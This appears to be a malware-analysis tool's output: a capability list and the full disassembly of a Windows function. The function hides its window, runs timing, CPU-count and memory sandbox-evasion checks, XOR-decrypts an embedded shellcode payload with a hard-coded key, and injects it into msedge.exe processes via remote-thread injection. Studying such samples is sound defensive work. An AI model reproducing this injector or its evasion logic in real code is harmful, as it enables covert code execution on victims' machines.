Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create thread
Enumerate processes
Execute shellcode via indirect call
Get system information on windows
Hide graphical window
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov eax, 0x639b0
call fcn.140002b10
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x63940], ecx
mov qword [rbp + 0x63948], rdx
call fcn.140001b60
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x63910], rax
mov rax, qword [rbp + 0x63910]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp + 0x63948]
mov rax, qword [rax]
lea rdx, str.output2.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140001544
mov dword [rbp + 0x6390c], 0
mov qword [rbp + 0x63900], 0
mov ecx, 0xe080a9c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x63900], rax
cmp qword [rbp + 0x63900], 0
je 0x140001568
jmp 0x14000154e
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x63900]
mov r8d, 0xe080a9c
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x638fc], eax
mov ecx, 0xbe46
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x638f8], eax
mov eax, dword [rbp + 0x638f8]
sub eax, dword [rbp + 0x638fc]
cmp eax, 0xbe45
jg 0x1400015b1
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x63900]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x52d9ef01f
mov qword [rbp + 0x638f0], rax
mov qword [rbp + 0x63928], 0
mov qword [rbp + 0x63920], 0
mov qword [rbp + 0x63920], 0
jmp 0x140001604
add qword [rbp + 0x63928], 1
add qword [rbp + 0x63920], 1
mov rax, qword [rbp + 0x63920]
cmp rax, qword [rbp + 0x638f0]
jl 0x1400015f4
mov rax, qword [rbp + 0x63928]
cmp rax, qword [rbp + 0x638f0]
je 0x14000162e
mov ecx, 0
call sub.msvcrt.dll_exit
lea rax, [rbp + 0x63890]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x638b0]
mov dword [rbp + 0x638ec], eax
cmp dword [rbp + 0x638ec], 1
jg 0x140001660
mov ecx, 0
call sub.msvcrt.dll_exit
mov qword [rbp + 0x638e0], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
call rax
mov qword [rbp + 0x638e0], rax
cmp qword [rbp + 0x638e0], 0
je 0x1400018c4
lea rax, str.ilCKiDKVRM
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x31d30]
lea rdx, [0x14000a028]
mov ecx, 0x31b53
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
movabs rax, 0x237fa6ab508e7c98
movabs rdx, 0x83b836a2c53c4eb
mov qword [rbp + 0x31c50], rax
mov qword [rbp + 0x31c58], rdx
movabs rax, 0xdf9aa41f7649ae82
movabs rdx, 0xa62ec889d8476447
mov qword [rbp + 0x31c60], rax
mov qword [rbp + 0x31c68], rdx
movabs rax, 0xa617f43b13aee586
movabs rdx, 0xfeeb5212bec2bd30
mov qword [rbp + 0x31c70], rax
mov qword [rbp + 0x31c78], rdx
movabs rax, 0x7620a6b75601a64a
movabs rdx, 0x9353184998587b0b
mov qword [rbp + 0x31c80], rax
mov qword [rbp + 0x31c88], rdx
movabs rax, 0xd65923835118ca01
movabs rdx, 0xf51a7fbe6fa8445c
mov qword [rbp + 0x31c90], rax
mov qword [rbp + 0x31c98], rdx
movabs rax, 0x8b47c19cdfaaf399
movabs rdx, 0xf728c1d9d42214d1
mov qword [rbp + 0x31ca0], rax
mov qword [rbp + 0x31ca8], rdx
movabs rax, 0x6b4e379edf309f62
movabs rdx, 0x1b436e3198d15b37
mov qword [rbp + 0x31cb0], rax
mov qword [rbp + 0x31cb8], rdx
movabs rax, 0x45812e098c1f6ee5
movabs rdx, 0xf23f30162ddbe45
mov qword [rbp + 0x31cc0], rax
mov qword [rbp + 0x31cc8], rdx
movabs rax, 0x37ab14734354be0d
movabs rdx, 0xb6e85a7efb7c6233
mov qword [rbp + 0x31cd0], rax
mov qword [rbp + 0x31cd8], rdx
movabs rax, 0x1fdbd9222ba6126b
movabs rdx, 0x6dfb6326522a7fb9
mov qword [rbp + 0x31ce0], rax
mov qword [rbp + 0x31ce8], rdx
movabs rax, 0x936c4fb7a2396922
movabs rdx, 0xa263316547fe6cc3
mov qword [rbp + 0x31cf0], rax
mov qword [rbp + 0x31cf8], rdx
movabs rax, 0x12a2e0097fed24f0
movabs rdx, 0xb0ade0cab5af6c4
mov qword [rbp + 0x31d00], rax
mov qword [rbp + 0x31d08], rdx
movabs rax, 0x79b45d9d45c63406
movabs rdx, 0x2909d4e1e720ed4b
mov qword [rbp + 0x31d10], rax
mov qword [rbp + 0x31d18], rdx
movabs rax, 0xffc9d1a6a12909
mov qword [rbp + 0x31d1e], rax
mov dword [rbp + 0x6391c], 0
mov dword [rbp + 0x63918], 0
jmp 0x140001923
mov ecx, 0
call sub.msvcrt.dll_exit
cmp dword [rbp + 0x6391c], 0xd5
jne 0x1400018e4
mov dword [rbp + 0x6391c], 0
mov eax, dword [rbp + 0x63918]
cdqe
movzx edx, byte [rbp + rax + 0x31d30]
mov eax, dword [rbp + 0x6391c]
cdqe
movzx eax, byte [rbp + rax + 0x31c50]
xor edx, eax
mov eax, dword [rbp + 0x63918]
cdqe
mov byte [rbp + rax + 0xf0], dl
add dword [rbp + 0x6391c], 1
add dword [rbp + 0x63918], 1
mov eax, dword [rbp + 0x63918]
cmp eax, 0x31b52
jbe 0x1400018ce
mov dword [rbp - 0x40], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x638d8], rax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x638d8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x140001a8b
jmp 0x140001a6f
lea rax, [rbp - 0x40]
add rax, 0x2c
lea rdx, str.msedge.exe
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
jne 0x140001a6f
mov eax, dword [rbp - 0x38]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x638d0], rax
mov rax, qword [rbp + 0x638d0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x31b53
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x638c8], rax
lea rcx, [rbp + 0xf0]
mov rdx, qword [rbp + 0x638c8]
mov rax, qword [rbp + 0x638d0]
mov qword [rsp + 0x20], 0
mov r9d, 0x31b53
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x638c8]
mov rax, qword [rbp + 0x638d0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x638c0], rax
mov rax, qword [rbp + 0x638d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x638d8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
je 0x14000196e
mov rax, qword [rbp + 0x638d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x639b0
pop rbp
ret